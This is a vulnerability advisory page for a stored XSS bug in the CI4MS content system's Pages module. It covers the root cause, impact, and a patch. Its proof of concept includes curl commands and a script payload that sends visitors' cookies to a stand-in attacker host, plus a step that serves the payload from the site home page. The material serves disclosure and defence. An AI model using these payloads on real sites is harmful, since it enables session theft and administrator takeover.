GHSA-GQR2-7HCG-RCHF

Vulnerability from github – Published: 2026-05-18 16:23 – Updated: 2026-05-18 16:23
VLAI
Summary
CI4MS: Stored XSS in Pages Module Content via Broken html_purify Validation Rule
Details

Summary

The Pages backend module registers the html_purify validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (Home::index()app/Views/templates/default/pages.php) emits $pageInfo->content without esc(), yielding stored XSS that fires for every public visitor of the affected page — including administrators. Because pages may be promoted to the site home page, the payload can be served at / and reach every visitor of the site.

Details

This is a sibling-module variant of the same root cause as the Blog stored-XSS issue. The html_purify custom rule (modules/Backend/Validation/CustomRules.php:54) mutates its first argument by reference:

public function html_purify(?string &$str = null, ?string &$error = null): bool
{
    ...
    $clean = self::sanitizeHtml($str);
    $str = $clean;
    self::$cleanCache[md5((string)$str)] = $clean;
    return true;
}

CodeIgniter 4's Validation::processRules() (vendor/codeigniter4/framework/system/Validation/Validation.php:344) invokes the rule as $set->{$rule}($value, $error) where $value is a local copy populated from request data. Even though the rule signature accepts $str by reference, the mutation only updates the local $value inside processRules(); the original POST array (and the request body) are never modified. To get the sanitized output, controllers must call CustomRules::getClean(...) after validation — but no controller in the codebase does so.

Pages controller — modules/Pages/Controllers/Pages.php:

  • Pages::create() registers the rule at line 82: php 'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'], Then at lines 102–113 it reads the raw POST and inserts it untouched: php $langsData = $this->request->getPost('lang') ?? []; ... $this->commonModel->create('pages_langs', [ ... 'content' => $lData['content'], // line 111 — RAW ... ]);
  • Pages::update() mirrors the same pattern at lines 130 and 157: php 'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'], // line 130 ... 'content' => $lData['content'], // line 157 — RAW

The row lands in pages_langs.content, which is then read by the public-facing Home::index() controller (app/Controllers/Home.php:31-76) and emitted by the template at app/Views/templates/default/pages.php:32:

<div id="ci4ms-content">
    <?php echo $pageInfo->content ?>     // no esc(), raw HTML output
</div>

CommonLibrary::parseInTextFunctions() (app/Libraries/CommonLibrary.php:45) is called on $pageInfo->content first, but only handles {{form=...}} / {...|...} shortcode-style replacement — it does no HTML sanitization.

This is distinct from the Blog finding: - Different module/controller (Modules\Pages\Controllers\Pages vs Modules\Blog\Controllers\Blog) - Different table (pages_langs.content vs blog_langs.content) - Different view file (templates/{theme}/pages.php vs templates/{theme}/blog/post.php) - Different route (/<seflink> matched by Home::index vs /blog/<seflink>) - Pages can be promoted to the site home page via Pages::setHomePage (modules/Pages/Controllers/Pages.php:206), broadening blast radius beyond a single slug to every visitor of /.

Routes are confirmed protected by backendGuard for authentication (modules/Pages/Config/PagesConfig.php:12-17) and require pages.create / pages.update Shield permissions (modules/Pages/Config/Routes.php:4-5).

PoC

Prerequisite: an account with the pages.create (or pages.update) permission. In ci4ms this is a non-admin content-author role.

Step 1 — log in to backend, capture cookies:

curl -k -c cookies.txt -b cookies.txt -X POST https://target/login \
  -d 'email=author@example.com' -d 'password=AuthorPass1!'

Step 2 — create a page with a malicious content payload:

curl -k -b cookies.txt -X POST https://target/backend/pages/create \
  -d 'lang[en][title]=POC' \
  -d 'lang[en][seflink]=poc-page-xss' \
  -d 'lang[en][content]=<script>fetch("https://attacker.example/?c="+encodeURIComponent(document.cookie))</script>' \
  -d 'isActive=1'

Expected: redirect to /backend/pages/1 with lang('Backend.created') flashdata. The DB row pages_langs.content contains the literal <script>...</script> payload.

Step 3 — trigger the XSS by visiting the public URL:

https://target/poc-page-xss

Home::index() selects the row, pages.php:32 emits the raw <script> tag, and the payload runs in every visitor's browser context. If a logged-in administrator browses the public site or follows a link to this slug, their backend session cookie is exfiltrated to attacker.example, enabling full account takeover.

Step 4 — broaden blast radius (optional, requires pages.update):

curl -k -b cookies.txt -X POST https://target/backend/pages/setHomePage/<page_id> \
  -H 'X-Requested-With: XMLHttpRequest'

After this, the malicious page is served at / to every visitor, including unauthenticated visitors and admins navigating to the front-end.

Impact

  • Stored XSS in public-facing site: any visitor to a malicious page slug — or to / if the page is set as home — executes the attacker's JavaScript.
  • Admin account takeover: an authenticated admin who loads the public page (common during normal site review) leaks their Shield session cookie / CSRF token, enabling the attacker to ride the session against the entire /backend/* surface (full CMS administration, user management, file editor, backups, theme upload).
  • Privilege escalation: the attacker only needs pages.create (a role typically delegated to non-admin content authors), but obtains code execution in the admin's browser, escaping the content-author security boundary into the admin's. This is the rationale for S:C in the CVSS vector.
  • Persistence and broad reach: the payload is database-backed and survives until the row is edited or deleted; the home-page promotion converts a single-slug XSS into a site-wide drive-by.

Recommended Fix

Stop relying on the broken reference-mutation pattern. The simplest, safest fix is to call the existing sanitizeHtml / getClean helper explicitly when persisting the content. In modules/Pages/Controllers/Pages.php:

use Modules\Backend\Validation\CustomRules;

// Pages::create() — replace line 111
$this->commonModel->create('pages_langs', [
    'pages_id' => $insertID,
    'lang'     => $langCode,
    'title'    => strip_tags(trim($lData['title'])),
    'seflink'  => strip_tags(trim($lData['seflink'])),
    'content'  => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
    'seo'      => $seoData
]);

// Pages::update() — replace line 157
$langUpdate = [
    'title'   => strip_tags(trim($lData['title'])),
    'seflink' => strip_tags(trim($lData['seflink'])),
    'content' => CustomRules::sanitizeHtml((string)($lData['content'] ?? '')),
    'seo'     => $seoData
];

Apply the same pattern in every other module that uses html_purify (Blog, etc.). For defense-in-depth, also escape on output for any field that is not intended to be raw HTML, and consider rewriting the html_purify rule to operate on $data so the validator stores the sanitized result via getValidated() rather than relying on a reference mutation that the framework discards.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.8.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "ci4-cms-erp/ci4ms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45270"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T16:23:34Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `Pages` backend module registers the `html_purify` validation rule on language-keyed page content but persists the raw, un-purified POST value into the database. The public renderer for pages (`Home::index()` \u2192 `app/Views/templates/default/pages.php`) emits `$pageInfo-\u003econtent` without `esc()`, yielding stored XSS that fires for every public visitor of the affected page \u2014 including administrators. Because pages may be promoted to the site home page, the payload can be served at `/` and reach every visitor of the site.\n\n## Details\n\nThis is a sibling-module variant of the same root cause as the Blog stored-XSS issue. The `html_purify` custom rule (`modules/Backend/Validation/CustomRules.php:54`) mutates its first argument by reference:\n\n```php\npublic function html_purify(?string \u0026$str = null, ?string \u0026$error = null): bool\n{\n    ...\n    $clean = self::sanitizeHtml($str);\n    $str = $clean;\n    self::$cleanCache[md5((string)$str)] = $clean;\n    return true;\n}\n```\n\nCodeIgniter 4\u0027s `Validation::processRules()` (`vendor/codeigniter4/framework/system/Validation/Validation.php:344`) invokes the rule as `$set-\u003e{$rule}($value, $error)` where `$value` is a local copy populated from request data. Even though the rule signature accepts `$str` by reference, the mutation only updates the local `$value` inside `processRules()`; the original POST array (and the request body) are never modified. To get the sanitized output, controllers must call `CustomRules::getClean(...)` after validation \u2014 but no controller in the codebase does so.\n\nPages controller \u2014 `modules/Pages/Controllers/Pages.php`:\n\n- `Pages::create()` registers the rule at line 82:\n  ```php\n  \u0027lang.*.content\u0027 =\u003e [\u0027label\u0027 =\u003e lang(\u0027Backend.content\u0027), \u0027rules\u0027 =\u003e \u0027required|html_purify\u0027],\n  ```\n  Then at lines 102\u2013113 it reads the raw POST and inserts it untouched:\n  ```php\n  $langsData = $this-\u003erequest-\u003egetPost(\u0027lang\u0027) ?? [];\n  ...\n  $this-\u003ecommonModel-\u003ecreate(\u0027pages_langs\u0027, [\n      ...\n      \u0027content\u0027 =\u003e $lData[\u0027content\u0027],   // line 111 \u2014 RAW\n      ...\n  ]);\n  ```\n- `Pages::update()` mirrors the same pattern at lines 130 and 157:\n  ```php\n  \u0027lang.*.content\u0027 =\u003e [\u0027label\u0027 =\u003e lang(\u0027Backend.content\u0027), \u0027rules\u0027 =\u003e \u0027required|html_purify\u0027],   // line 130\n  ...\n  \u0027content\u0027 =\u003e $lData[\u0027content\u0027],   // line 157 \u2014 RAW\n  ```\n\nThe row lands in `pages_langs.content`, which is then read by the public-facing `Home::index()` controller (`app/Controllers/Home.php:31-76`) and emitted by the template at `app/Views/templates/default/pages.php:32`:\n\n```php\n\u003cdiv id=\"ci4ms-content\"\u003e\n    \u003c?php echo $pageInfo-\u003econtent ?\u003e     // no esc(), raw HTML output\n\u003c/div\u003e\n```\n\n`CommonLibrary::parseInTextFunctions()` (`app/Libraries/CommonLibrary.php:45`) is called on `$pageInfo-\u003econtent` first, but only handles `{{form=...}}` / `{...|...}` shortcode-style replacement \u2014 it does no HTML sanitization.\n\nThis is distinct from the Blog finding:\n- Different module/controller (`Modules\\Pages\\Controllers\\Pages` vs `Modules\\Blog\\Controllers\\Blog`)\n- Different table (`pages_langs.content` vs `blog_langs.content`)\n- Different view file (`templates/{theme}/pages.php` vs `templates/{theme}/blog/post.php`)\n- Different route (`/\u003cseflink\u003e` matched by `Home::index` vs `/blog/\u003cseflink\u003e`)\n- Pages can be promoted to the site home page via `Pages::setHomePage` (`modules/Pages/Controllers/Pages.php:206`), broadening blast radius beyond a single slug to every visitor of `/`.\n\nRoutes are confirmed protected by `backendGuard` for authentication (`modules/Pages/Config/PagesConfig.php:12-17`) and require `pages.create` / `pages.update` Shield permissions (`modules/Pages/Config/Routes.php:4-5`).\n\n## PoC\n\nPrerequisite: an account with the `pages.create` (or `pages.update`) permission. In ci4ms this is a non-admin content-author role.\n\nStep 1 \u2014 log in to backend, capture cookies:\n```bash\ncurl -k -c cookies.txt -b cookies.txt -X POST https://target/login \\\n  -d \u0027email=author@example.com\u0027 -d \u0027password=AuthorPass1!\u0027\n```\n\nStep 2 \u2014 create a page with a malicious `content` payload:\n```bash\ncurl -k -b cookies.txt -X POST https://target/backend/pages/create \\\n  -d \u0027lang[en][title]=POC\u0027 \\\n  -d \u0027lang[en][seflink]=poc-page-xss\u0027 \\\n  -d \u0027lang[en][content]=\u003cscript\u003efetch(\"https://attacker.example/?c=\"+encodeURIComponent(document.cookie))\u003c/script\u003e\u0027 \\\n  -d \u0027isActive=1\u0027\n```\n\nExpected: redirect to `/backend/pages/1` with `lang(\u0027Backend.created\u0027)` flashdata. The DB row `pages_langs.content` contains the literal `\u003cscript\u003e...\u003c/script\u003e` payload.\n\nStep 3 \u2014 trigger the XSS by visiting the public URL:\n```\nhttps://target/poc-page-xss\n```\n\n`Home::index()` selects the row, `pages.php:32` emits the raw `\u003cscript\u003e` tag, and the payload runs in every visitor\u0027s browser context. If a logged-in administrator browses the public site or follows a link to this slug, their backend session cookie is exfiltrated to `attacker.example`, enabling full account takeover.\n\nStep 4 \u2014 broaden blast radius (optional, requires `pages.update`):\n```bash\ncurl -k -b cookies.txt -X POST https://target/backend/pages/setHomePage/\u003cpage_id\u003e \\\n  -H \u0027X-Requested-With: XMLHttpRequest\u0027\n```\n\nAfter this, the malicious page is served at `/` to every visitor, including unauthenticated visitors and admins navigating to the front-end.\n\n## Impact\n\n- **Stored XSS in public-facing site:** any visitor to a malicious page slug \u2014 or to `/` if the page is set as home \u2014 executes the attacker\u0027s JavaScript.\n- **Admin account takeover:** an authenticated admin who loads the public page (common during normal site review) leaks their Shield session cookie / CSRF token, enabling the attacker to ride the session against the entire `/backend/*` surface (full CMS administration, user management, file editor, backups, theme upload).\n- **Privilege escalation:** the attacker only needs `pages.create` (a role typically delegated to non-admin content authors), but obtains code execution in the admin\u0027s browser, escaping the content-author security boundary into the admin\u0027s. This is the rationale for **S:C** in the CVSS vector.\n- **Persistence and broad reach:** the payload is database-backed and survives until the row is edited or deleted; the home-page promotion converts a single-slug XSS into a site-wide drive-by.\n\n## Recommended Fix\n\nStop relying on the broken reference-mutation pattern. The simplest, safest fix is to call the existing `sanitizeHtml` / `getClean` helper explicitly when persisting the content. In `modules/Pages/Controllers/Pages.php`:\n\n```php\nuse Modules\\Backend\\Validation\\CustomRules;\n\n// Pages::create() \u2014 replace line 111\n$this-\u003ecommonModel-\u003ecreate(\u0027pages_langs\u0027, [\n    \u0027pages_id\u0027 =\u003e $insertID,\n    \u0027lang\u0027     =\u003e $langCode,\n    \u0027title\u0027    =\u003e strip_tags(trim($lData[\u0027title\u0027])),\n    \u0027seflink\u0027  =\u003e strip_tags(trim($lData[\u0027seflink\u0027])),\n    \u0027content\u0027  =\u003e CustomRules::sanitizeHtml((string)($lData[\u0027content\u0027] ?? \u0027\u0027)),\n    \u0027seo\u0027      =\u003e $seoData\n]);\n\n// Pages::update() \u2014 replace line 157\n$langUpdate = [\n    \u0027title\u0027   =\u003e strip_tags(trim($lData[\u0027title\u0027])),\n    \u0027seflink\u0027 =\u003e strip_tags(trim($lData[\u0027seflink\u0027])),\n    \u0027content\u0027 =\u003e CustomRules::sanitizeHtml((string)($lData[\u0027content\u0027] ?? \u0027\u0027)),\n    \u0027seo\u0027     =\u003e $seoData\n];\n```\n\nApply the same pattern in every other module that uses `html_purify` (Blog, etc.). For defense-in-depth, also escape on output for any field that is not intended to be raw HTML, and consider rewriting the `html_purify` rule to operate on `$data` so the validator stores the sanitized result via `getValidated()` rather than relying on a reference mutation that the framework discards.",
  "id": "GHSA-gqr2-7hcg-rchf",
  "modified": "2026-05-18T16:23:34Z",
  "published": "2026-05-18T16:23:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-gqr2-7hcg-rchf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ci4-cms-erp/ci4ms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CI4MS: Stored XSS in Pages Module Content via Broken html_purify Validation Rule"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…